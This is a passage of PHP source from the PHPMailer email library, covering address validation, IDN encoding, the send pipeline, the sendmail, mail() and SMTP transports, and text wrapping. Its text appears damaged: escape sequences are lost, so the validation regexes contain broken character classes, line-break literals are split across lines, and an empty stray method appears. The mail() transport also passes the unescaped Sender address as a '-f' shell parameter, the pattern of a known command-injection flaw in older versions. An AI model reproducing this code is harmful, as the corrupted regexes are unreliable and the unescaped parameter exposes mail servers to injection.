  1022. * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
  1023. * * `pcre` Use old PCRE implementation;
  1024. * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
  1025. * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
  1026. * * `noregex` Don't use a regex: super fast, really dumb.
  1027. * @return boolean
  1028. * @static
  1029. * @access public
  1030. */
  1031. public static function validateAddress($address, $patternselect = 'auto') {
  1032. //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
  1033. if (strpos($address, "
  1034. ") !== false or strpos($address, "
  1035. ") !== false) {
  1036. return false;
  1037. }
  1038. if (!$patternselect or $patternselect == 'auto') {
  1039. //Check this constant first so it works when extension_loaded() is disabled by safe mode
  1040. //Constant was added in PHP 5.2.4
  1041. if (defined('PCRE_VERSION')) {
  1042. //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
  1043. if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
  1044. $patternselect = 'pcre8';
  1045. } else {
  1046. $patternselect = 'pcre';
  1047. }
  1048. } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
  1049. //Fall back to older PCRE
  1050. $patternselect = 'pcre';
  1051. } else {
  1052. //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
  1053. if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
  1054. $patternselect = 'php';
  1055. } else {
  1056. $patternselect = 'noregex';
  1057. }
  1058. }
  1059. }
  1060. switch ($patternselect) {
  1061. case 'pcre8':
  1062. /**
  1063. * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
  1064. * @link http://squiloople.com/2009/12/20/email-address-validation/
  1065. * @copyright 2009-2010 Michael Rushton
  1066. * Feel free to use and redistribute this code. But please keep this copyright notice.
  1067. */
  1068. return (boolean)preg_match('/^(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\[ -~]|[^"])"?(?1)){65,}@)' . '((?>(?>(?>((?>(?>(?>
  1069. )?[ ])+|(?>[ ]*
  1070. )?[ ]+)?)(\((?>(?2)' . '(?>[- -\'*-\[\]-]|\[-]|(?3)))*(?2)\)))+(?2))|(?2))?)' . '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[- -!#-\[\]-]|\[-]))*' . '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' . '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' . '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' . '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD', $address);
  1071. case 'pcre':
  1072. //An older regex that doesn't need a recent PCRE
  1073. return (boolean)preg_match('/^(?!(?>"?(?>\[ -~]|[^"])"?){255,})(?!(?>"?(?>\[ -~]|[^"])"?){65,}@)(?>' . '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[- -!#-\[\]-]|\[-]))*")' . '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[- -!#-\[\]-]|\[-]))*"))*' . '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' . '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' . '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' . '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' . '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' . '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' . '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD', $address);
  1074. case 'html5':
  1075. /**
  1076. * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
  1077. * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
  1078. */
  1079. return (boolean)preg_match('/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' . '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD', $address);
  1080. case 'noregex':
  1081. //No PCRE! Do something _very_ approximate!
  1082. //Check the address is 3 chars or longer and contains an @ that's not the first or last char
  1083. return (strlen($address) >= 3 and strpos($address, '@') >= 1 and strpos($address, '@') != strlen($address) - 1);
  1084. case 'php':
  1085. default:
  1086. return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
  1087. }
  1088. }
  1089. /**
  1090. * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
  1091. * "intl" and "mbstring" PHP extensions.
  1092. * @return bool "true" if required functions for IDN support are present
  1093. */
  1094. public function idnSupported() {
  1095. // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
  1096. return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
  1097. }
  1098. /**
  1099. * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
  1100. * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
  1101. * This function silently returns unmodified address if:
  1102. * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
  1103. * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
  1104. * or fails for any reason (e.g. domain has characters not allowed in an IDN)
  1105. * @see PHPMailer::$CharSet
  1106. * @param string $address The email address to convert
  1107. * @return string The encoded address in ASCII form
  1108. */
  1109. public function punyencodeAddress($address) {
  1110. // Verify we have required functions, CharSet, and at-sign.
  1111. if ($this->idnSupported() and !empty($this->CharSet) and ($pos = strrpos($address, '@')) !== false) {
  1112. $domain = substr($address, ++$pos);
  1113. // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
  1114. if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
  1115. $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
  1116. if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ? idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) : idn_to_ascii($domain)) !== false) {
  1117. return substr($address, 0, $pos) . $punycode;
  1118. }
  1119. }
  1120. }
  1121. return $address;
  1122. }
  1123. /**
  1124. * Create a message and send it.
  1125. * Uses the sending method specified by $Mailer.
  1126. * @throws phpmailerException
  1127. * @return boolean false on error - See the ErrorInfo property for details of the error.
  1128. */
  1129. public function send() {
  1130. try {
  1131. if (!$this->preSend()) {
  1132. return false;
  1133. }
  1134. return $this->postSend();
  1135. }
  1136. catch(phpmailerException $exc) {
  1137. $this->mailHeader = '';
  1138. $this->setError($exc->getMessage());
  1139. if ($this->exceptions) {
  1140. throw $exc;
  1141. }
  1142. return false;
  1143. }
  1144. }
  1145. /**
  1146. * Prepare a message for sending.
  1147. * @throws phpmailerException
  1148. * @return boolean
  1149. */
  1150. public function preSend() {
  1151. try {
  1152. $this->error_count = 0; // Reset errors
  1153. $this->mailHeader = '';
  1154. // Dequeue recipient and Reply-To addresses with IDN
  1155. foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
  1156. $params[1] = $this->punyencodeAddress($params[1]);
  1157. call_user_func_array(array($this, 'addAnAddress'), $params);
  1158. }
  1159. if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
  1160. throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
  1161. }
  1162. // Validate From, Sender, and ConfirmReadingTo addresses
  1163. foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
  1164. $this->$address_kind = trim($this->$address_kind);
  1165. if (empty($this->$address_kind)) {
  1166. continue;
  1167. }
  1168. $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
  1169. if (!$this->validateAddress($this->$address_kind)) {
  1170. $error_message = $this->lang('invalid_address') . $this->$address_kind;
  1171. $this->setError($error_message);
  1172. $this->edebug($error_message);
  1173. if ($this->exceptions) {
  1174. throw new phpmailerException($error_message);
  1175. }
  1176. return false;
  1177. }
  1178. }
  1179. // Set whether the message is multipart/alternative
  1180. if (!empty($this->AltBody)) {
  1181. $this->ContentType = 'multipart/alternative';
  1182. }
  1183. $this->setMessageType();
  1184. // Refuse to send an empty message unless we are specifically allowing it
  1185. if (!$this->AllowEmpty and empty($this->Body)) {
  1186. throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
  1187. }
  1188. // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
  1189. $this->MIMEHeader = '';
  1190. $this->MIMEBody = $this->createBody();
  1191. // createBody may have added some headers, so retain them
  1192. $tempheaders = $this->MIMEHeader;
  1193. $this->MIMEHeader = $this->createHeader();
  1194. $this->MIMEHeader.= $tempheaders;
  1195. // To capture the complete message when using mail(), create
  1196. // an extra header list which createHeader() doesn't fold in
  1197. if ($this->Mailer == 'mail') {
  1198. if (count($this->to) > 0) {
  1199. $this->mailHeader.= $this->addrAppend('To', $this->to);
  1200. } else {
  1201. $this->mailHeader.= $this->headerLine('To', 'undisclosed-recipients:;');
  1202. }
  1203. $this->mailHeader.= $this->headerLine('Subject', $this->encodeHeader($this->secureHeader(trim($this->Subject))));
  1204. }
  1205. // Sign with DKIM if enabled
  1206. if (!empty($this->DKIM_domain) && !empty($this->DKIM_private) && !empty($this->DKIM_selector) && file_exists($this->DKIM_private)) {
  1207. $header_dkim = $this->DKIM_Add($this->MIMEHeader . $this->mailHeader, $this->encodeHeader($this->secureHeader($this->Subject)), $this->MIMEBody);
  1208. $this->MIMEHeader = rtrim($this->MIMEHeader, "
  1209. ") . self::CRLF . str_replace("
  1210. ", "
  1211. ", $header_dkim) . self::CRLF;
  1212. }
  1213. return true;
  1214. }
  1215. catch(phpmailerException $exc) {
  1216. $this->setError($exc->getMessage());
  1217. if ($this->exceptions) {
  1218. throw $exc;
  1219. }
  1220. return false;
  1221. }
  1222. }
  1223. public function innerBody() {
  1224. }
  1225. /**
  1226. * Actually send a message.
  1227. * Send the email via the selected mechanism
  1228. * @throws phpmailerException
  1229. * @return boolean
  1230. */
  1231. public function postSend() {
  1232. try {
  1233. // Choose the mailer and send through it
  1234. switch ($this->Mailer) {
  1235. case 'sendmail':
  1236. case 'qmail':
  1237. return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
  1238. case 'smtp':
  1239. return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
  1240. case 'mail':
  1241. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1242. default:
  1243. $sendMethod = $this->Mailer . 'Send';
  1244. if (method_exists($this, $sendMethod)) {
  1245. return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
  1246. }
  1247. return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
  1248. }
  1249. }
  1250. catch(phpmailerException $exc) {
  1251. $this->setError($exc->getMessage());
  1252. $this->edebug($exc->getMessage());
  1253. if ($this->exceptions) {
  1254. throw $exc;
  1255. }
  1256. }
  1257. return false;
  1258. }
  1259. /**
  1260. * Send mail using the $Sendmail program.
  1261. * @param string $header The message headers
  1262. * @param string $body The message body
  1263. * @see PHPMailer::$Sendmail
  1264. * @throws phpmailerException
  1265. * @access protected
  1266. * @return boolean
  1267. */
  1268. protected function sendmailSend($header, $body) {
  1269. if ($this->Sender != '') {
  1270. if ($this->Mailer == 'qmail') {
  1271. $sendmail = sprintf('%s -f%s', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1272. } else {
  1273. $sendmail = sprintf('%s -oi -f%s -t', escapeshellcmd($this->Sendmail), escapeshellarg($this->Sender));
  1274. }
  1275. } else {
  1276. if ($this->Mailer == 'qmail') {
  1277. $sendmail = sprintf('%s', escapeshellcmd($this->Sendmail));
  1278. } else {
  1279. $sendmail = sprintf('%s -oi -t', escapeshellcmd($this->Sendmail));
  1280. }
  1281. }
  1282. if ($this->SingleTo) {
  1283. foreach ($this->SingleToArray as $toAddr) {
  1284. if (!@$mail = popen($sendmail, 'w')) {
  1285. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1286. }
  1287. fputs($mail, 'To: ' . $toAddr . "
  1288. ");
  1289. fputs($mail, $header);
  1290. fputs($mail, $body);
  1291. $result = pclose($mail);
  1292. $this->doCallback(($result == 0), array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1293. if ($result != 0) {
  1294. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1295. }
  1296. }
  1297. } else {
  1298. if (!@$mail = popen($sendmail, 'w')) {
  1299. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1300. }
  1301. fputs($mail, $header);
  1302. fputs($mail, $body);
  1303. $result = pclose($mail);
  1304. $this->doCallback(($result == 0), $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1305. if ($result != 0) {
  1306. throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
  1307. }
  1308. }
  1309. return true;
  1310. }
  1311. /**
  1312. * Send mail using the PHP mail() function.
  1313. * @param string $header The message headers
  1314. * @param string $body The message body
  1315. * @link http://www.php.net/manual/en/book.mail.php
  1316. * @throws phpmailerException
  1317. * @access protected
  1318. * @return boolean
  1319. */
  1320. protected function mailSend($header, $body) {
  1321. $toArr = array();
  1322. foreach ($this->to as $toaddr) {
  1323. $toArr[] = $this->addrFormat($toaddr);
  1324. }
  1325. $to = implode(', ', $toArr);
  1326. if (empty($this->Sender)) {
  1327. $params = ' ';
  1328. } else {
  1329. $params = sprintf('-f%s', $this->Sender);
  1330. }
  1331. if ($this->Sender != '' and !ini_get('safe_mode')) {
  1332. $old_from = ini_get('sendmail_from');
  1333. ini_set('sendmail_from', $this->Sender);
  1334. }
  1335. $result = false;
  1336. if ($this->SingleTo && count($toArr) > 1) {
  1337. foreach ($toArr as $toAddr) {
  1338. $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
  1339. $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1340. }
  1341. } else {
  1342. $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
  1343. $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
  1344. }
  1345. if (isset($old_from)) {
  1346. ini_set('sendmail_from', $old_from);
  1347. }
  1348. if (!$result) {
  1349. throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
  1350. }
  1351. return true;
  1352. }
  1353. /**
  1354. * Get an instance to use for SMTP operations.
  1355. * Override this function to load your own SMTP implementation
  1356. * @return SMTP
  1357. */
  1358. public function getSMTPInstance() {
  1359. if (!is_object($this->smtp)) {
  1360. $this->smtp = new SMTP;
  1361. }
  1362. return $this->smtp;
  1363. }
  1364. /**
  1365. * Send mail via SMTP.
  1366. * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
  1367. * Uses the PHPMailerSMTP class by default.
  1368. * @see PHPMailer::getSMTPInstance() to use a different class.
  1369. * @param string $header The message headers
  1370. * @param string $body The message body
  1371. * @throws phpmailerException
  1372. * @uses SMTP
  1373. * @access protected
  1374. * @return boolean
  1375. */
  1376. protected function smtpSend($header, $body) {
  1377. $bad_rcpt = array();
  1378. if (!$this->smtpConnect($this->SMTPOptions)) {
  1379. throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
  1380. }
  1381. if ('' == $this->Sender) {
  1382. $smtp_from = $this->From;
  1383. } else {
  1384. $smtp_from = $this->Sender;
  1385. }
  1386. if (!$this->smtp->mail($smtp_from)) {
  1387. $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
  1388. throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
  1389. }
  1390. // Attempt to send to all recipients
  1391. foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
  1392. foreach ($togroup as $to) {
  1393. if (!$this->smtp->recipient($to[0])) {
  1394. $error = $this->smtp->getError();
  1395. $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
  1396. $isSent = false;
  1397. } else {
  1398. $isSent = true;
  1399. }
  1400. $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
  1401. }
  1402. }
  1403. // Only send the DATA command if we have viable recipients
  1404. if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
  1405. throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
  1406. }
  1407. if ($this->SMTPKeepAlive) {
  1408. $this->smtp->reset();
  1409. } else {
  1410. $this->smtp->quit();
  1411. $this->smtp->close();
  1412. }
  1413. //Create error message for any bad addresses
  1414. if (count($bad_rcpt) > 0) {
  1415. $errstr = '';
  1416. foreach ($bad_rcpt as $bad) {
  1417. $errstr.= $bad['to'] . ': ' . $bad['error'];
  1418. }
  1419. throw new phpmailerException($this->lang('recipients_failed') . $errstr, self::STOP_CONTINUE);
  1420. }
  1421. return true;
  1422. }
  1423. /**
  1424. * Initiate a connection to an SMTP server.
  1425. * Returns false if the operation failed.
  1426. * @param array $options An array of options compatible with stream_context_create()
  1427. * @uses SMTP
  1428. * @access public
  1429. * @throws phpmailerException
  1430. * @return boolean
  1431. */
  1432. public function smtpConnect($options = array()) {
  1433. if (is_null($this->smtp)) {
  1434. $this->smtp = $this->getSMTPInstance();
  1435. }
  1436. // Already connected?
  1437. if ($this->smtp->connected()) {
  1438. return true;
  1439. }
  1440. $this->smtp->setTimeout($this->Timeout);
  1441. $this->smtp->setDebugLevel($this->SMTPDebug);
  1442. $this->smtp->setDebugOutput($this->Debugoutput);
  1443. $this->smtp->setVerp($this->do_verp);
  1444. $hosts = explode(';', $this->Host);
  1445. $lastexception = null;
  1446. foreach ($hosts as $hostentry) {
  1447. $hostinfo = array();
  1448. if (!preg_match('/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*):?([0-9]*)$/', trim($hostentry), $hostinfo)) {
  1449. // Not a valid host entry
  1450. continue;
  1451. }
  1452. // $hostinfo[2]: optional ssl or tls prefix
  1453. // $hostinfo[3]: the hostname
  1454. // $hostinfo[4]: optional port number
  1455. // The host string prefix can temporarily override the current setting for SMTPSecure
  1456. // If it's not specified, the default value is used
  1457. $prefix = '';
  1458. $secure = $this->SMTPSecure;
  1459. $tls = ($this->SMTPSecure == 'tls');
  1460. if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
  1461. $prefix = 'ssl://';
  1462. $tls = false; // Can't have SSL and TLS at the same time
  1463. $secure = 'ssl';
  1464. } elseif ($hostinfo[2] == 'tls') {
  1465. $tls = true;
  1466. // tls doesn't use a prefix
  1467. $secure = 'tls';
  1468. }
  1469. //Do we need the OpenSSL extension?
  1470. $sslext = defined('OPENSSL_ALGO_SHA1');
  1471. if ('tls' === $secure or 'ssl' === $secure) {
  1472. //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
  1473. if (!$sslext) {
  1474. throw new phpmailerException($this->lang('extension_missing') . 'openssl', self::STOP_CRITICAL);
  1475. }
  1476. }
  1477. $host = $hostinfo[3];
  1478. $port = $this->Port;
  1479. $tport = (integer)$hostinfo[4];
  1480. if ($tport > 0 and $tport < 65536) {
  1481. $port = $tport;
  1482. }
  1483. if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
  1484. try {
  1485. if ($this->Helo) {
  1486. $hello = $this->Helo;
  1487. } else {
  1488. $hello = $this->serverHostname();
  1489. }
  1490. $this->smtp->hello($hello);
  1491. //Automatically enable TLS encryption if:
  1492. // * it's not disabled
  1493. // * we have openssl extension
  1494. // * we are not already using SSL
  1495. // * the server offers STARTTLS
  1496. if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
  1497. $tls = true;
  1498. }
  1499. if ($tls) {
  1500. if (!$this->smtp->startTLS()) {
  1501. throw new phpmailerException($this->lang('connect_host'));
  1502. }
  1503. // We must resend HELO after tls negotiation
  1504. $this->smtp->hello($hello);
  1505. }
  1506. if ($this->SMTPAuth) {
  1507. if (!$this->smtp->authenticate($this->Username, $this->Password, $this->AuthType, $this->Realm, $this->Workstation)) {
  1508. throw new phpmailerException($this->lang('authenticate'));
  1509. }
  1510. }
  1511. return true;
  1512. }
  1513. catch(phpmailerException $exc) {
  1514. $lastexception = $exc;
  1515. $this->edebug($exc->getMessage());
  1516. // We must have connected, but then failed TLS or Auth, so close connection nicely
  1517. $this->smtp->quit();
  1518. }
  1519. }
  1520. }
  1521. // If we get here, all connection attempts have failed, so close connection hard
  1522. $this->smtp->close();
  1523. // As we've caught all exceptions, just report whatever the last one was
  1524. if ($this->exceptions and !is_null($lastexception)) {
  1525. throw $lastexception;
  1526. }
  1527. return false;
  1528. }
  1529. /**
  1530. * Close the active SMTP session if one exists.
  1531. * @return void
  1532. */
  1533. public function smtpClose() {
  1534. if ($this->smtp !== null) {
  1535. if ($this->smtp->connected()) {
  1536. $this->smtp->quit();
  1537. $this->smtp->close();
  1538. }
  1539. }
  1540. }
  1541. /**
  1542. * Set the language for error messages.
  1543. * Returns false if it cannot load the language file.
  1544. * The default language is English.
  1545. * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
  1546. * @param string $lang_path Path to the language file directory, with trailing separator (slash)
  1547. * @return boolean
  1548. * @access public
  1549. */
  1550. public function setLanguage($langcode = 'en', $lang_path = '') {
  1551. // Define full set of translatable strings in English
  1552. $PHPMAILER_LANG = array('authenticate' => 'SMTP Error: Could not authenticate.', 'connect_host' => 'SMTP Error: Could not connect to SMTP host.', 'data_not_accepted' => 'SMTP Error: data not accepted.', 'empty_message' => 'Message body empty', 'encoding' => 'Unknown encoding: ', 'execute' => 'Could not execute: ', 'file_access' => 'Could not access file: ', 'file_open' => 'File Error: Could not open file: ', 'from_failed' => 'The following From address failed: ', 'instantiate' => 'Could not instantiate mail function.', 'invalid_address' => 'Invalid address: ', 'mailer_not_supported' => ' mailer is not supported.', 'provide_address' => 'You must provide at least one recipient email address.', 'recipients_failed' => 'SMTP Error: The following recipients failed: ', 'signing' => 'Signing Error: ', 'smtp_connect_failed' => 'SMTP connect() failed.', 'smtp_error' => 'SMTP server error: ', 'variable_set' => 'Cannot set or reset variable: ', 'extension_missing' => 'Extension missing: ');
  1553. if (empty($lang_path)) {
  1554. // Calculate an absolute path so it can work if CWD is not here
  1555. $lang_path = dirname(__FILE__) . DIRECTORY_SEPARATOR . 'language' . DIRECTORY_SEPARATOR;
  1556. }
  1557. $foundlang = true;
  1558. $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
  1559. // There is no English translation file
  1560. if ($langcode != 'en') {
  1561. // Make sure language file path is readable
  1562. if (!is_readable($lang_file)) {
  1563. $foundlang = false;
  1564. } else {
  1565. // Overwrite language-specific strings.
  1566. // This way we'll never have missing translation keys.
  1567. $foundlang = include $lang_file;
  1568. }
  1569. }
  1570. $this->language = $PHPMAILER_LANG;
  1571. return (boolean)$foundlang; // Returns false if language not found
  1572. }
  1573. /**
  1574. * Get the array of strings for the current language.
  1575. * @return array
  1576. */
  1577. public function getTranslations() {
  1578. return $this->language;
  1579. }
  1580. /**
  1581. * Create recipient headers.
  1582. * @access public
  1583. * @param string $type
  1584. * @param array $addr An array of recipient,
  1585. * where each recipient is a 2-element indexed array with element 0 containing an address
  1586. * and element 1 containing a name, like:
  1587. * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
  1588. * @return string
  1589. */
  1590. public function addrAppend($type, $addr) {
  1591. $addresses = array();
  1592. foreach ($addr as $address) {
  1593. $addresses[] = $this->addrFormat($address);
  1594. }
  1595. return $type . ': ' . implode(', ', $addresses) . $this->LE;
  1596. }
  1597. /**
  1598. * Format an address for use in a message header.
  1599. * @access public
  1600. * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
  1601. * like array('joe@example.com', 'Joe User')
  1602. * @return string
  1603. */
  1604. public function addrFormat($addr) {
  1605. if (empty($addr[1])) { // No name provided
  1606. return $this->secureHeader($addr[0]);
  1607. } else {
  1608. return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader($addr[0]) . '>';
  1609. }
  1610. }
  1611. /**
  1612. * Word-wrap message.
  1613. * For use with mailers that do not automatically perform wrapping
  1614. * and for quoted-printable encoded messages.
  1615. * Original written by philippe.
  1616. * @param string $message The message to wrap
  1617. * @param integer $length The line length to wrap to
  1618. * @param boolean $qp_mode Whether to run in Quoted-Printable mode
  1619. * @access public
  1620. * @return string
  1621. */
  1622. public function wrapText($message, $length, $qp_mode = false) {
  1623. if ($qp_mode) {
  1624. $soft_break = sprintf(' =%s', $this->LE);
  1625. } else {
  1626. $soft_break = $this->LE;
  1627. }
  1628. // If utf-8 encoding is used, we will need to make sure we don't
  1629. // split multibyte characters when we wrap
  1630. $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
  1631. $lelen = strlen($this->LE);
  1632. $crlflen = strlen(self::CRLF);
  1633. $message = $this->fixEOL($message);
  1634. //Remove a trailing line break
  1635. if (substr($message, -$lelen) == $this->LE) {
  1636. $message = substr($message, 0, -$lelen);
  1637. }
  1638. //Split message into lines
  1639. $lines = explode($this->LE, $message);
  1640. //Message will be rebuilt in here
  1641. $message = '';
  1642. foreach ($lines as $line) {
  1643. $words = explode(' ', $line);
  1644. $buf = '';
  1645. $firstword = true;
  1646. foreach ($words as $word) {
  1647. if ($qp_mode and (strlen($word) > $length)) {
  1648. $space_left = $length - strlen($buf) - $crlflen;
  1649. if (!$firstword) {
  1650. if ($space_left > 20) {
  1651. $len = $space_left;
  1652. if ($is_utf8) {
  1653. $len = $this->utf8CharBoundary($word, $len);
  1654. } elseif (substr($word, $len - 1, 1) == '=') {
  1655. $len--;
  1656. } elseif (substr($word, $len - 2, 1) == '=') {
  1657. $len-= 2;
  1658. }
  1659. $part = substr($word, 0, $len);
  1660. $word = substr($word, $len);
  1661. $buf.= ' ' . $part;
  1662. $message.= $buf . sprintf('=%s', self::CRLF);
  1663. } else {
  1664. $message.= $buf . $soft_break;
  1665. }
  1666. $buf = '';
  1667. }
  1668. while (strlen($word) > 0) {
  1669. if ($length <= 0) {
  1670. break;
  1671. }
  1672. $len = $length;
  1673. if ($is_utf8) {
  1674. $len = $this->utf8CharBoundary($word, $len);
  1675. } elseif (substr($word, $len - 1, 1) == '=') {
  1676. $len--;
  1677. } elseif (substr($word, $len - 2, 1) == '=') {
  1678. $len-= 2;
  1679. }
  1680. $part = substr($word, 0, $len);
  1681. $word = substr($word, $len);
  1682. if (strlen($word) > 0) {
  1683. $message.= $part . sprintf('=%s', self::CRLF);
  1684. } else {
  1685. $buf = $part;
  1686. }
  1687. }
  1688. } else {
  1689. $buf_o = $buf;
  1690. if (!$firstword) {
  1691. $buf.= ' ';
  1692. }
  1693. $buf.= $word;
  1694. if (strlen($buf) > $length and $buf_o != '') {
  1695. $message.= $buf_o . $soft_break;
  1696. $buf = $word;
  1697. }
  1698. }
  1699. $firstword = false;
  1700. }
  1701. $message.= $buf . self::CRLF;
  1702. }
  1703. return $message;
  1704. }
  1705. /**
  1706. * Find the last character boundary prior to $maxLength in a utf-8
  1707. * quoted-printable encoded string.
  1708. * Original written by Colin Brown.
  1709. * @access public
  1710. * @param string $encodedText utf-8 QP text
  1711. * @param integer $maxLength Find the last character boundary prior to this length
  1712. * @return integer
  1713. */
  1714. public function utf8CharBoundary($encodedText, $maxLength) {
  1715. $foundSplitPos = false;
  1716. $lookBack = 3;
  1717. while (!$foundSplitPos) {
  1718. $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
  1719. $encodedCharPos = strpos($lastChunk, '=');
  1720. if (false !== $encodedCharPos) {
  1721. // Found start of encoded character byte within $lookBack block.
  1722. // Check the encoded byte value (the 2 chars after the '=')
  1723. $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);
  1724. $dec = hexdec($hex);
  1725. if ($dec < 128) {
  1726. // Single byte character.
  1727. // If the encoded char was found at pos 0, it will fit
  1728. // otherwise reduce maxLength to start of the encoded char
  1729. if ($encodedCharPos > 0) {
  1730. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1731. }
  1732. $foundSplitPos = true;
  1733. } elseif ($dec >= 192) {
  1734. // First byte of a multi byte character
  1735. // Reduce maxLength to split at start of character
  1736. $maxLength = $maxLength - ($lookBack - $encodedCharPos);
  1737. $foundSplitPos = true;
  1738. } elseif ($dec < 192) {
  1739. // Middle byte of a multi byte character, look further back
  1740. $lookBack+= 3;
  1741. }
  1742. } else {
  1743. // No encoded character found
  1744. $foundSplitPos = true;
